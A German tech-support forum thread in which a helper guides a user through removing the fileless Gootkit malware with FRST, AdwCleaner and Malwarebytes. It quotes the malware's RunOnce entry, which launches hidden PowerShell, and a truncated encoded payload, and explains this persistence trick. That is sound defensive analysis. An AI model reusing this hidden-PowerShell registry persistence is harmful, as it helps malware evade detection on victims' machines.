Guten Tag,

ich habe seit ein paar Tagen das Problem, dass Firefox Seiten nur noch sehr langsam lädt bzw überhaupt nicht (Ladevorgang wird nicht abgebrochen und es werden keine Fehlermeldungen angezeigt)
Während der Fehlersuche habe ich das oben im Titel beschriebene Problem festgestellt und die Zeitstempel korrelieren mit dem Zeitraum, in dem ich das Problem beobachte.

Ich bitte um eure Hilfe,
vielen Dank im Vorraus

Mein Name ist Matthias und ich werde dir bei der Analyse und der eventuell notwendigen Bereinigung deines Computers helfen.



Ich analysiere gerade dein System und melde mich in Kürze mit weiteren Anweisungen.

durchgeführt von Matthias (ACHTUNG: der Benutzer ist kein Administrator) auf DESKTOP-VSCI5AO (14-02-2021 17:46:25)

Ohne Adminrechte wird das nichts. Gib diesem Nutzer bitte Adminrechte oder führe FRST immer mit "Rechtsklick > Als Administrator ausführen" aus.

Den FRST Suchlauf mit Adminrechten wiederholen, beide Logdateien erneut posten.

Hier die beiden Dokumente mit Adminrechten:

Gut gemacht.
Schritt 2 (Bereinigung) kann einige Minuten dauern, da ich eine Überprüfung der Systemdateien mit eingefügt habe, also bitte gedulde dich.





Schritt 1
Die folgenden Programme sind veraltet, stören die Bereinigung oder es handelt sich um Werbesoftware bzw. unerwünschte Software (Adware, PUP) und müssen entfernt werden.

• Deinstalliere über Start > Einstellungen > Apps bzw. Start > Systemsteuerung > Programme deinstallieren die folgenden Programme:
  • chip 1-click
  • OpenOffice Updater
• Starte den Rechner im Anschluss neu auf.
• Gib eine kurze Rückmeldung, ob die Deinstallation erfolgreich war.

Schritt 2
WARNUNG AN ALLE MITLESER !!!
Dieses FRST-Script ist ausschließlich für diesen Nutzer gedacht und sollte niemals 1:1 für ein anderes System angewendet werden!

• Speichere deine Arbeiten und schließe alle offenen Programme, damit keine Daten verloren gehen.
• Kopiere den gesamten Inhalt der folgenden Code-Box:
  

  Start::
  CloseProcesses:
  HKU\S-1-5-21-279853036-1918765482-2221373292-1001\...\Run: [OpenOffice Updater] => C:\Users\ADMIN\AppData\Roaming\OpenOffice Updater\Updater.exe [388544 2018-11-19] (Arne König -> ) <==== ACHTUNG
  C:\Users\ADMIN\AppData\Roaming\OpenOffice Updater
  HKU\S-1-5-21-279853036-1918765482-2221373292-1002\...\RunOnce: [Matthias] => powershell -Win Hi -Command "$r = [Environment]::GetEnvironmentVariable('Matthias', 'User').split();$p=$r[0];$r[0]='';Start-Process $p -ArgumentList ($r -join ' ') -Win Hi" <==== ACHTUNG
  HKU\S-1-5-21-279853036-1918765482-2221373292-1002\Environment: [Matthias] "powershell.exe"       -windowstyle hidden  -En "PAAjACAAZABtAGQAbwBxAGIAdgBrAGUAegAgACMAPgAkAHUAPQAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgADEAMwAwADAAOwAkAGk (Der Dateneintrag hat 1249 mehr Zeichen). <==== ACHTUNG
  RegKey: [HKU\S-1-5-21-279853036-1918765482-2221373292-1002\Software\Matthias] <==== ACHTUNG
  RegKey: [HKU\S-1-5-21-279853036-1918765482-2221373292-1002\Software\Matthias1] <==== ACHTUNG
  S2 edgeupdate; "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc [X]
  S3 edgeupdatem; "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /medsvc [X]
  S3 MicrosoftEdgeElevationService; "C:\Program Files (x86)\Microsoft\Edge\Application\81.0.416.86\elevation_service.exe" [X]
  S2 Razer Game Scanner Service; "C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe" [X]
  CustomCLSID: HKU\S-1-5-21-279853036-1918765482-2221373292-1001_Classes\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\InprocServer32 -> C:\Users\ADMIN\AppData\Local\Microsoft\OneDrive\18.065.0329.0002\amd64\FileSyncShell64.dll => Keine Datei
  CustomCLSID: HKU\S-1-5-21-279853036-1918765482-2221373292-1001_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32 -> C:\Users\ADMIN\AppData\Local\Microsoft\OneDrive\18.065.0329.0002\amd64\FileSyncShell64.dll => Keine Datei
  CustomCLSID: HKU\S-1-5-21-279853036-1918765482-2221373292-1001_Classes\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\InprocServer32 -> C:\Users\ADMIN\AppData\Local\Microsoft\OneDrive\18.065.0329.0002\amd64\FileSyncShell64.dll => Keine Datei
  ShellIconOverlayIdentifiers: [    OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} =>  -> Keine Datei
  ShellIconOverlayIdentifiers: [    OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} =>  -> Keine Datei
  ShellIconOverlayIdentifiers: [    OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} =>  -> Keine Datei
  ShellIconOverlayIdentifiers: [    OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} =>  -> Keine Datei
  ShellIconOverlayIdentifiers: [    OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} =>  -> Keine Datei
  ShellIconOverlayIdentifiers: [    OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} =>  -> Keine Datei
  ShellIconOverlayIdentifiers: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} =>  -> Keine Datei
  ShellIconOverlayIdentifiers: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} =>  -> Keine Datei
  ShellIconOverlayIdentifiers: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} =>  -> Keine Datei
  ShellIconOverlayIdentifiers: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} =>  -> Keine Datei
  ShellIconOverlayIdentifiers: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} =>  -> Keine Datei
  ShellIconOverlayIdentifiers: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} =>  -> Keine Datei
  ShellIconOverlayIdentifiers: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} =>  -> Keine Datei
  ShellIconOverlayIdentifiers: [00asw] -> {472083B0-C522-11CF-8763-00608CC02F24} =>  -> Keine Datei
  ShellIconOverlayIdentifiers-x32: [    OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} =>  -> Keine Datei
  ShellIconOverlayIdentifiers-x32: [    OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} =>  -> Keine Datei
  ShellIconOverlayIdentifiers-x32: [    OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} =>  -> Keine Datei
  ShellIconOverlayIdentifiers-x32: [    OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} =>  -> Keine Datei
  ShellIconOverlayIdentifiers-x32: [    OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} =>  -> Keine Datei
  ShellIconOverlayIdentifiers-x32: [    OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} =>  -> Keine Datei
  ShellIconOverlayIdentifiers-x32: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} =>  -> Keine Datei
  ShellIconOverlayIdentifiers-x32: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} =>  -> Keine Datei
  ShellIconOverlayIdentifiers-x32: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} =>  -> Keine Datei
  ShellIconOverlayIdentifiers-x32: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} =>  -> Keine Datei
  ShellIconOverlayIdentifiers-x32: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} =>  -> Keine Datei
  ShellIconOverlayIdentifiers-x32: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} =>  -> Keine Datei
  ShellIconOverlayIdentifiers-x32: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} =>  -> Keine Datei
  ContextMenuHandlers1_S-1-5-21-279853036-1918765482-2221373292-1002: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} =>  -> Keine Datei
  ContextMenuHandlers4_S-1-5-21-279853036-1918765482-2221373292-1002: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} =>  -> Keine Datei
  ContextMenuHandlers5_S-1-5-21-279853036-1918765482-2221373292-1002: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} =>  -> Keine Datei
  C:\Users\ADMIN\AppData\Roaming\Mozilla\Firefox\Profiles\dxkcmxzv.default-1613299799028\prefs.js
  CMD: type C:\Users\ADMIN\AppData\Roaming\awp_1N1I1F1S1T1I0M1F1Q2Y1I1P1B0C1F1Q1P.txt
  CMD: reg query HKU\S-1-5-21-279853036-1918765482-2221373292-1002\Software
  CMD: reg query HKU\S-1-5-21-279853036-1918765482-2221373292-1002\Environment
  CMD: sfc /scannow
  CMD: ipconfig /flushdns
  CMD: netsh winsock reset
  CMD: netsh advfirewall reset
  CMD: netsh advfirewall set allprofiles state ON
  CMD: Bitsadmin /Reset /Allusers
  powershell: Set-MpPreference -PUAProtection Enabled
  powershell: Set-MpPreference -DisableScanningNetworkFiles 0
  Hosts:
  RemoveProxy:
  SystemRestore: On 
  EmptyTemp:
  End::
           

• Starte nun FRST und klicke direkt den Reparieren Button.
  Wichtig: Du brauchst den Inhalt der Code-Box nirgends einfügen, da sich FRST den Code aus der Zwischenablage holt!
• Das Tool führt die gewünschten Schritte aus und erstellt eine fixlog.txt im selben Verzeichnis, in dem sich FRST befindet.
• Gegebenenfalls muss dein Rechner neu gestartet werden.
• Poste mir den Inhalt der fixlog.txt mit deiner nächsten Antwort.

Schritt 3

• Starte FRST erneut. Vergewissere dich, dass vor Addition.txt ein Haken gesetzt ist und drücke auf Untersuchen.
• FRST erstellt wieder zwei Logdateien (FRST.txt und Addition.txt).
• Poste mir beide Logdateien mit deiner nächsten Antwort.

Bitte poste mit deiner nächsten Antwort:

• eine Rückmeldung bezüglich der Deinstallationen
• die Logdatei des FRST-Fix (fixlog.txt)
• die beiden neuen Logdateien von FRST (FRST.txt und Addition.txt)

chip 1-click ließ sich problemlos entfernen, allerdings habe ich OpenOffice Updater nicht finden können, auch nicht als Prozess im Task Manager.

Fixlog war zu groß, musste ich leider als ZIP ordner hinzufügen...

Wenn ich Windows Viren und Bedrohungsschutz zurateziehe, so ist der Trojaner beseitigt und auch Firefox läuft wieder wie gewohnt, danke dafür. ^^

Wenn du mir die Frage erlaubst... welche Schritte waren nötig um die Infektion zu beseitigen?

Zitat von Legendendear

(...) allerdings habe ich OpenOffice Updater nicht finden können, auch nicht als Prozess im Task Manager.

Auch deshalb sollten wir noch zwei Kontroll-Suchläufe starten.

Zitat von Legendendear

Wenn ich Windows Viren und Bedrohungsschutz zurateziehe, so ist der Trojaner beseitigt und auch Firefox läuft wieder wie gewohnt, danke dafür. ^^

Das hört sich doch schon mal gut an.

Zitat von Legendendear

Wenn du mir die Frage erlaubst... welche Schritte waren nötig um die Infektion zu beseitigen?

Die allermeisten AntiViren-/AntiMalwareprogramme entdecken diese Malware nicht, FRST schon. Damit konnten wir sie entfernen. Oder ist deine Frage anders gemeint?






Schritt 1
Führe AdwCleaner gemäß der bebilderten Anleitung aus und poste abschließend die Logdatei.





Schritt 2
Führe Malwarebytes' AntiMalware (MBAM) gemäß der bebilderten Anleitung aus und poste abschließend die Logdatei.





Bitte poste mit deiner nächsten Antwort:

• die Logdatei von AdwCleaner
• die Logdatei von MBAM

Hier die restlichen Logs.
Soweit ich es sehen kann, ist alles in Ordnung...
Aber wer weiß?

Die allermeisten AntiViren-/AntiMalwareprogramme entdecken diese Malware nicht, FRST schon. Damit konnten wir sie entfernen. Oder ist deine Frage anders gemeint?

Nun... Ich lerne gern neues und wenn du mir erklären kannst(auch auf die Gefahr hin, das ich nichts versteh...), was du FRST angewiesen hast oder wie man FRST Log Datei analysieren muss um den Fehler zu erkennen...
bin ich nächstes mal nicht auf Hilfe 3. angewiesen

Zitat von Legendendear

Nun... Ich lerne gern neues und wenn du mir erklären kannst(auch auf die Gefahr hin, das ich nichts versteh...), was du FRST angewiesen hast oder wie man FRST Log Datei analysieren muss um den Fehler zu erkennen...
bin ich nächstes mal nicht auf Hilfe 3. angewiesen

Ganz vereinfacht:

Speziell bei dieser Malware ("Gootkit") ist es so, dass es sich dabei um eine "dateilose" Schadsoftware handelt, d. h. dass sich der gesamte Code nicht in einer Datei, sondern in der Registrierungsdatenbank befindet.

Jede Malware benötigt einen Startpunkt, mit dem sie geladen wird. Das ist hier ein Autostart-Eintrag (RunOnce):

HKU\S-1-5-21-279853036-1918765482-2221373292-1002\...\RunOnce: [Matthias] => powershell -Win Hi -Command "$r = [Environment]::GetEnvironmentVariable('Matthias', 'User').split();$p=$r[0];$r[0]='';Start-Process $p -ArgumentList ($r -join ' ') -Win Hi" <==== ACHTUNG

Für gewöhnlich zeigt der Startpunkt von Malware auf eine Datei, hier allerdings nicht, statddessen verweist der Wert auf die Umgebungsvariable "Matthias" (den hat die Malware angelegt) der aktuellen Nutzers:

HKU\S-1-5-21-279853036-1918765482-2221373292-1002\Environment: [Matthias] "powershell.exe" -windowstyle hidden -En "PAAjACAAZABtAGQAbwBxAGIAdgBrAGUAegAgACMAPgAkAHUAPQAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgADEAMwAwADAAOwAkA Gk (Der Dateneintrag hat 1249 mehr Zeichen). <==== ACHTUNG

Dort steht, dass die windowseigene Powershell-Anwendung weitere Befehle (die codiert sind) ausführen soll.
Decodiert man diese Befehle, führen einen diese zu den beiden folgenden Schlüsseln:

RegKey: [HKU\S-1-5-21-279853036-1918765482-2221373292-1002\Software\Matthias] <==== ACHTUNG
RegKey: [HKU\S-1-5-21-279853036-1918765482-2221373292-1002\Software\Matthias1] <==== ACHTUNG

Dort steht drinnen, was die Malware macht.


Fazit:
Die Malware nutzt nur windowseigene Systemedateien und die Registry, um den Code in den Speicher zu bringen, daher wird sie von vielen Antivirenprogramme nicht erkannt.
FRST arbeitet allerdings anders. Es listet die oben erwähnten "Startpunkte" auf und markiert verdächtige Einträge mit "Achtung", was jedoch nicht automatisch heißt, dass alle Zeilen mit "Achtung" immer schädlich sind... diese Einträge sind es allerdings.

Eine Anleitung zu FRST (und wie man damit Dinge entfernen und scripten kann) findest du hier.

Jede Infektion ist allerdings einzigartig und sollte auch so behandelt werden, das gilt auch für "Gootkit". Eine 1:1 Reparatur von deinem System würde nicht bei deinem Nachbarn funktionieren.









Schritt 1

• Speichere deine Arbeiten und schließe alle offenen Programme, damit keine Daten verloren gehen.
• Kopiere den gesamten Inhalt der folgenden Code-Box:
  

  Start::
  DeleteQuarantine:
  Unlock: C:\FRST
  Reboot:
  End::
           

• Starte nun FRST und klicke direkt den Reparieren Button.
  Wichtig: Du brauchst den Inhalt der Code-Box nirgends einfügen, da sich FRST den Code aus der Zwischenablage holt!
• Das Tool führt die gewünschten Schritte aus und erstellt eine fixlog.txt im selben Verzeichnis, in dem sich FRST befindet.
• Gegebenenfalls muss dein Rechner neu gestartet werden.
• Poste mir den Inhalt der fixlog.txt mit deiner nächsten Antwort.

Schritt 2
Auf deinem Computer fehlt das aktuelle Funktionsupdate Version 20H2.

Platform: Windows 10 Pro Version 1909

• Folge dem Pfad Start > Einstellungen > Update und Sicherheit > Windows Update und klicke auf Nach Updates suchen.
• Wähle das Funktionsupdates aus, downloade und installiere es.
• Alternativ kannst du auch mit dem Update Assistenten deine Windows-Version auf den neuesten Stand bringen.
  Klicke dazu auf Jetzt aktualisieren, lade dir den Update-Assistenten herunter und führe ihn aus.

Dann wären wir durch!
Wenn du keine Probleme mehr mit Malware hast, dann sind wir hier fertig. Deine Logdateien sind sauber.


Abschließend bitte noch einen Cleanup mit unserem TBCleanUpTool durchführen und unbedingt die Sicherheitsmaßnahmen lesen und umsetzen - beides ist in folgendem Lesestoff verlinkt:

Lesestoff:
Anleitung: Cleanup & Maßnahmen zur Absicherung des Rechners

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